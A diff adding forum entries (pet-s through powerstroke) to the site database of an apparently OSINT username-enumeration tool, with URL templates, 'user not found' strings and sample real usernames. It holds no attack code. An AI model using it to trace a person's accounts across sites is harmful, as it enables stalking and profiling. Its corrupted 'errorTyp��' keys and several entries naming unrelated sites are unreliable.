+ "url": "https://pet-s.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://pet-s.ucoz.ru/",
+ "usernameON": "katya1931",
+ "bad_site": ""
+ },
+ "Forum_petgb": {
+ "country": "🇬🇧",
+ "country_klas": "GB",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.petforums.co.uk/members/?username={}",
+ "urlMain": "https://www.petforums.co.uk",
+ "usernameON": "peterjosy",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_petropavlovka": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://www.petropavlovka.my1.ru/index/8-0-{}",
+ "urlMain": "https://www.petropavlovka.my1.ru/",
+ "usernameON": "Fire4ik",
+ "bad_site": ""
+ },
+ "Forum_pf-v": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "0 результатов",
+ "errorMsg2": "одождите",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://pf-v.ru/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://pf-v.ru/",
+ "usernameON": "oxy",
+ "bad_site": ""
+ },
+ "Forum_phantomhelp": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://forum.phantomhelp.com/u/{}/summary",
+ "urlMain": "https://forum.phantomhelp.com",
+ "usernameON": "bob32014",
+ "bad_site": ""
+ },
+ "Forum_phantompilots": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://phantompilots.com/members/?username={}",
+ "urlMain": "https://phantompilots.com",
+ "usernameON": "steve12321",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_philippe-fournier": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "No suitable matches were found.",
+ "errorMsg2": "| Cloudflare",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://forum2.philippe-fournier-viger.com/search.php?keywords=&terms=all&author={}=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search",
+ "urlMain": "https://forum2.philippe-fournier-viger.com",
+ "usernameON": "Alva&sc",
+ "bad_site": ""
+ },
+ "Forum_philosophicalvegan": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "exclusion": "\\W",
+ "errorMsg": "No suitable matches were found.",
+ "errorMsg2": "Information",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://philosophicalvegan.com/search.php?keywords=&terms=all&author={}",
+ "urlMain": "https://philosophicalvegan.com",
+ "usernameON": "Hey",
+ "bad_site": ""
+ },
+ "Forum_phoenixrising": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://forums.phoenixrising.me/members/?username={}",
+ "urlMain": "https://forums.phoenixrising.me",
+ "usernameON": "pattismith",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_phoneamommy": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "Information",
+ "errorMsg2": "| Cloudflare",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://www.phoneamommy.com/Board/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search",
+ "urlMain": "https://www.phoneamommy.com",
+ "usernameON": "SitterStacie",
+ "bad_site": ""
+ },
+ "Forum_photographyreview": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "This user has not registered and therefore does not have a profile to view.",
+ "errorMsg2": "Sorry",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "http://forums.photographyreview.com/member.php?username={}",
+ "urlMain": "http://forums.photographyreview.com",
+ "usernameON": "Weskee32",
+ "bad_site": ""
+ },
+ "Forum_photographytalk": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "div id=\"system-message\">",
+ "errorMsg2": "| Cloudflare",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://www.photographytalk.com/forum/search?searchuser={}&childforums=1",
+ "urlMain": "https://www.naturescapes.net",
+ "usernameON": "esseff",
+ "bad_site": ""
+ },
+ "Forum_photos": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://photos.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://photos.ucoz.ru",
+ "usernameON": "photos",
+ "bad_site": ""
+ },
+ "Forum_photoshara": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://photoshara.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://photoshara.ucoz.ru",
+ "usernameON": "hestilurte",
+ "bad_site": ""
+ },
+ "Forum_phototerritory": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://www.phototerritory.ru/index/8-0-{}",
+ "urlMain": "http://www.phototerritory.ru",
+ "usernameON": "23a3sdasdasd322",
+ "bad_site": ""
+ },
+ "Forum_phpbb_de": {
+ "country": "🇩🇪",
+ "country_klas": "DE",
+ "errorMsg": "Information",
+ "errorMsg2": "Please wait",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://www.phpbb.de/community/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Suche",
+ "urlMain": "https://www.phpbb.de",
+ "usernameON": "db1982",
+ "comments": "super",
+ "bad_site": ""
+ },
+ "Forum_phpfreaks": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "0 results",
+ "errorMsg2": "Please wait",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://forums.phpfreaks.com/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://forums.phpfreaks.com",
+ "usernameON": "gizmola",
+ "bad_site": ""
+ },
+ "Forum_physicianassistant": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "0 results",
+ "errorMsg2": "Please wait",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://www.physicianassistantforum.com/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://www.physicianassistantforum.com",
+ "usernameON": "CAAdmission",
+ "comments": "cf",
+ "bad_site": ""
+ },
+ "Forum_pickleberrypop": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://pickleberrypop.com/forum/members/?username={}",
+ "urlMain": "https://pickleberrypop.com",
+ "usernameON": "cathquillscrap",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_pickup": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Найдено 0 результатов",
+ "errorMsg2": "NoneNone",
+ "errorTyp��": "message",
+ "url": "https://forum.pickup.ru/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://forum.pickup.ru",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Forum_pigeons": {
+ "country": "🇨🇦",
+ "country_klas": "CA",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.pigeons.biz/members/?username={}",
+ "urlMain": "https://www.pigeons.biz",
+ "usernameON": "utahraptor300",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_pilotsofamerica": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.pilotsofamerica.com/community/members/?username={}",
+ "urlMain": "https://www.pilotsofamerica.com",
+ "usernameON": "wanttaja",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_pinclub": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://pinclub.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://pinclub.ucoz.ru",
+ "usernameON": "multatuli",
+ "bad_site": ""
+ },
+ "Forum_pipca": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Информация",
+ "errorMsg2": "Пожалуйста, подождите",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://pipca.6bb.ru/search.php?action=search&keywords=&author={}&forum=&search_in=0&sort_by=0&sort_dir=DESC&show_as=posts&search=%CE%F2%EF%F0%E0%E2%E8%F2%FC",
+ "urlMain": "https://pipca.6bb.ru",
+ "usernameON": "ola",
+ "bad_site": ""
+ },
+ "Forum_pirate4x4": {
+ "country": "🇨🇦",
+ "country_klas": "CA",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.pirate4x4.com/members/?username={}",
+ "urlMain": "https://www.pirate4x4.com",
+ "usernameON": "jeepfan2022",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_piratehub": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "redirection",
+ "url": "https://s1.piratehub.biz/members/?username={}",
+ "urlMain": "https://s1.piratehub.biz",
+ "usernameON": "timetobefirst",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Forum_pirates": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://piratesforums.co/members/?username={}",
+ "urlMain": "https://piratesforums.co",
+ "usernameON": "sergey1337",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_pirates-life": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://pirates-life.ru/index/8-0-{}",
+ "urlMain": "http://pirates-life.ru",
+ "usernameON": "alerg",
+ "comments": "bad",
+ "bad_site": ""
+ },
+ "Forum_piratich": {
+ "country": "🇨🇿",
+ "country_klas": "CZ",
+ "errorMsg": "Nebyly nalezeny",
+ "errorMsg2": "| Cloudflare",
+ "errorMsg3": "Sorry, ",
+ "errorTyp��": "message",
+ "url": "https://forum.pirati.cz/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Hledat",
+ "urlMain": "https://forum.pirati.cz",
+ "usernameON": "Hextus",
+ "bad_site": ""
+ },
+ "Forum_pisatelforum": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://pisatelforum.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://pisatelforum.ucoz.ru",
+ "usernameON": "nix",
+ "bad_site": ""
+ },
+ "Forum_pitbull-abakan": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://pitbull-abakan.3dn.ru/index/8-0-{}",
+ "urlMain": "https://pitbull-abakan.3dn.ru",
+ "usernameON": "Rolandpag",
+ "bad_site": ""
+ },
+ "Forum_pixelmonrealms": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://pixelmonrealms.com/members/?username={}",
+ "urlMain": "https://pixelmonrealms.com",
+ "usernameON": "dragonowater",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Forum_pkq-clan": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://pkq-clan.ucoz.com/index/8-0-{}",
+ "urlMain": "https://pkq-clan.ucoz.com",
+ "usernameON": "Pinupduzwah",
+ "bad_site": ""
+ },
+ "Forum_planet-9": {
+ "country": "🇨🇦",
+ "country_klas": "CA",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.planet-9.com/members/?username={}",
+ "urlMain": "https://www.planet-9.com",
+ "usernameON": "deilenberger",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_planet-nefelana": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://planet-nefelana.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://planet-nefelana.ucoz.ru",
+ "usernameON": "Nefelana",
+ "bad_site": ""
+ },
+ "Forum_planetarium_kharkov": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr> 403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://playlist-iptv.ucoz.ru/index/8-0-{}",
+ "urlMain": "http://playlist-iptv.ucoz.ru",
+ "usernameON": "altechst",
+ "bad_site": ""
+ },
+ "Forum_playtime": {
+ "country": "🇩🇪",
+ "country_klas": "DE",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.playtime-forum.info/forum/members/?username={}",
+ "urlMain": "https://www.playtime-forum.info",
+ "usernameON": "Glumbi",
+ "bad_site": ""
+ },
+ "Forum_plcforum": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "No suitable matches were found.",
+ "errorMsg2": "Information",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "http://plcforum.uz.ua/search.php?keywords=&terms=all&author={}",
+ "urlMain": "http://plcforum.uz.ua",
+ "usernameON": "Novice",
+ "bad_site": ""
+ },
+ "Forum_pling": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "UH OH! You're lost.",
+ "errorMsg2": " ",
+ "errorTyp��": "message",
+ "url": "https://www.pling.com/u/{}",
+ "urlMain": "https://www.pling.com",
+ "usernameON": "dhyegoac2007",
+ "bad_site": ""
+ },
+ "Forum_plodpitomnik": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Информация",
+ "errorMsg2": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://plodpitomnik.ru/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA",
+ "urlMain": "https://plodpitomnik.ru",
+ "usernameON": "tag",
+ "comments": "super",
+ "bad_site": 1
+ },
+ "Forum_plumbing": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.plumbingforums.com/members/?username={}",
+ "urlMain": "https://www.plumbingforums.com/",
+ "usernameON": "miced69",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_pmfun": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "No suitable matches were found.",
+ "errorMsg2": "Information",
+ "errorTyp��": "message",
+ "url": "https://forum.pmfun.com/search.php?keywords=&terms=all&author={}",
+ "urlMain": "https://forum.pmfun.com",
+ "usernameON": "JPSZone",
+ "bad_site": ""
+ },
+ "Forum_pngindians": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://forums.pngindians.com/members/?username={}",
+ "urlMain": "https://forums.pngindians.com",
+ "usernameON": "indianfan",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Forum_podolsk": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "Подольский городской форум - Информация ",
+ "errorTyp��": "message",
+ "url": "https://forum.podolsk.ru/search.php?keywords=&terms=all&author={}",
+ "urlMain": "https://forum.podolsk.ru",
+ "usernameON": "irina",
+ "bad_site": ""
+ },
+ "Forum_podrabotka": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://podrabotka.3dn.ru/index/8-0-{}",
+ "urlMain": "https://podrabotka.3dn.ru",
+ "usernameON": "Tara",
+ "bad_site": ""
+ },
+ "Forum_podrastem": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden",
+ "errorTyp��": "message",
+ "url": "http://podrastem.com/index/8-0-{}",
+ "urlMain": "http://podrastem.com",
+ "usernameON": "spenga",
+ "bad_site": "",
+ "exclusion": "\\W"
+ },
+ "Forum_poezd-photo": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://poezd-photo.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://poezd-photo.ucoz.ru",
+ "usernameON": "rafikakenirov",
+ "bad_site": ""
+ },
+ "Forum_pokatushki": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://pokatushki.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://pokatushki.ucoz.ru",
+ "usernameON": "Mystic",
+ "bad_site": ""
+ },
+ "Forum_pokebeach": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://www.pokebeach.com/forums/members/?username={}",
+ "urlMain": "https://www.pokebeach.com",
+ "usernameON": "geodugtrio",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Forum_pokemine": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "exclusion": "\\W[а-яА-Я]",
+ "errorMsg": "0 results",
+ "errorMsg2": "0 user",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "url": "http://forum.pokemine.gg/search/?q={}&type=core_members",
+ "urlMain": "http://forum.pokemine.gg",
+ "usernameON": "czoko68",
+ "bad_site": ""
+ },
+ "Forum_pokemmo": {
+ "country": "🇪🇺",
+ "country_klas": "EU",
+ "errorMsg": "Found 0 results",
+ "errorMsg2": "There were no results for your search. ",
+ "errorTyp��": "message",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://forums.pokemmo.eu/index.php?/search/&q={}&quick=1&type=core_members",
+ "urlMain": "https://forums.pokemmo.eu",
+ "usernameON": "kayninexl",
+ "bad_site": ""
+ },
+ "Forum_pokemonrevolution": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorMsg": "Found 0 results",
+ "errorMsg2": "There were no results for your search.",
+ "errorTyp��": "message",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://pokemonrevolution.net/forum/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://pokemonrevolution.net",
+ "usernameON": "Hack00",
+ "bad_site": ""
+ },
+ "Forum_pokerchip": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.pokerchipforum.com/members/?username={}",
+ "urlMain": "https://www.pokerchipforum.com",
+ "usernameON": "dmcl924",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_pokersrbija": {
+ "country": "🇪🇺",
+ "country_klas": "EU",
+ "errorTyp��": "status_code",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://forum.pokersrbija.com/u/{}",
+ "urlMain": "https://forum.pokersrbija.com",
+ "usernameON": "mim4dayi",
+ "bad_site": ""
+ },
+ "Forum_pokerus": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "url": "https://pokerus.ru/index/8-0-{}",
+ "urlMain": "https://pokerus.ru",
+ "usernameON": "Mult",
+ "bad_site": "",
+ "exclusion": "\\W"
+ },
+ "Forum_poligon29": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr>",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://www.politik-forum.eu/search.php?keywords=&terms=all&author={}",
+ "urlMain": "https://www.politik-forum.eu",
+ "usernameON": "Michi",
+ "bad_site": ""
+ },
+ "Forum_politomsk": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://politomsk.ru/index/8-0-{}",
+ "urlMain": "http://politomsk.ru",
+ "usernameON": "slepuhin198427",
+ "bad_site": ""
+ },
+ "Forum_polkadot": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://forum.polkadot.network/u/{}/summary",
+ "urlMain": "https://forum.polkadot.network",
+ "usernameON": "muddlebee",
+ "bad_site": ""
+ },
+ "Forum_pominovenieiv": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr> 403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://ponarama.my1.ru/index/8-0-{}",
+ "urlMain": "https://ponarama.my1.ru",
+ "usernameON": "realhacking",
+ "bad_site": ""
+ },
+ "Forum_poodle": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.poodleforum.com/members/?username={}",
+ "urlMain": "https://www.poodleforum.com/",
+ "usernameON": "cowpony",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_popasnayalife": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://popasnayalife.at.ua/index/8-0-{}",
+ "urlMain": "https://popasnayalife.at.ua",
+ "usernameON": "AlisaBerne",
+ "bad_site": ""
+ },
+ "Forum_popgun": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "Информация",
+ "errorTyp��": "message",
+ "url": "https://popgun.org/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA",
+ "urlMain": "https://popgun.ru",
+ "usernameON": "igor42",
+ "comments": "bad",
+ "bad_site": ""
+ },
+ "Forum_popjustice": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "The specified member cannot be found. Please enter a member's entire name.",
+ "errorMsg2": "NoneNone",
+ "errorTyp��": "message",
+ "url": "https://forum.popjustice.com/members/?username={}",
+ "urlMain": "https://forum.popjustice.com",
+ "usernameON": "dumper",
+ "bad_site": ""
+ },
+ "Forum_porcheAU": {
+ "country": "🇦🇺",
+ "country_klas": "AU",
+ "errorMsg": "0 results",
+ "errorMsg2": "Please wait",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://porscheforum.com.au/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://porscheforum.com",
+ "usernameON": "tomo",
+ "bad_site": ""
+ },
+ "Forum_porka": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr> 403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://porki.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://porki.ucoz.ru",
+ "usernameON": "porki",
+ "bad_site": ""
+ },
+ "Forum_pornworld": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://pornworld.to/members/?username={}",
+ "urlMain": "https://pornworld.to",
+ "usernameON": "popeluka",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_portal-anime": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://portal-anime.ru/index/8-0-{}",
+ "urlMain": "http://portal-anime.ru",
+ "usernameON": "SASUKE1744",
+ "bad_site": ""
+ },
+ "Forum_portirkutsk": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено",
+ "errorMsg2": "Пожалуйста, подождите",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "http://portirkutsk.ru/forum/search.php?keywords=&terms=all&author={}",
+ "urlMain": "http://portirkutsk.ru",
+ "usernameON": "Tema28",
+ "bad_site": ""
+ },
+ "Forum_posol_BLOCK_RU_IP": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://posol.ucoz.ru/index/8-0-{}",
+ "urlMain": "http://posol.ucoz.ru",
+ "usernameON": "umtor",
+ "comments": "bad",
+ "bad_site": ""
+ },
+ "Forum_postwrestling": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://forum.postwrestling.com/u/{}/summary",
+ "urlMain": "https://forum.postwrestling.com",
+ "usernameON": "nealflanagan",
+ "bad_site": ""
+ },
+ "Forum_potystorony": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://potystorony.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://potystorony.ucoz.ru",
+ "usernameON": "zaconnic",
+ "bad_site": ""
+ },
+ "Forum_pouet": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": " registered \n \n\n403 Forbidden",
+ "errorTyp��": "message",
+ "url": "http://povar.ucoz.com/index/8-0-{}",
+ "urlMain": "http://povar.ucoz.com",
+ "usernameON": "xdmitrieva2016",
+ "bad_site": "",
+ "exclusion": "\\W"
+ },
+ "Forum_powerequipment": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.powerequipmentforum.com/members/?username={}",
+ "urlMain": "https://www.powerequipmentforum.com",
+ "usernameON": "flopshot",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_powershell": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://forums.powershell.org/u/{}/summary",
+ "urlMain": "https://forums.powershell.org",
+ "usernameON": "kvprasoon",
+ "bad_site": ""
+ },
+ "Forum_powerstroke": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.powerstroke.org/members/?username={}",
+ "urlMain": "https://www.powerstroke.org",
+ "usernameON": "chadwic",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
